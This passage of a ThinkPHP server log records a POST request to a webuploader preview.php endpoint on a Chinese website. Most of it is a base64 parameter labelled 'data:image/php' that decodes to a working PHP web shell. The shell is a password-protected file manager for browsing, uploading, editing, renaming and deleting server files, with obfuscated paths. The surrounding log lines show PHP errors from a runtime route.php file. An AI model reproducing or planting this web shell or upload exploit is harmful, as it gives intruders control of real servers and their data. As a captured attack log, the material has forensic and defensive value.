CiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:48+08:00 ] 119.42.146.234 POST 51tianwei.com/public/platform/js/webuploader/0.1.15/server/preview.php [运行时间:0.003031s] [吞吐率:329.92req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'platform', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRo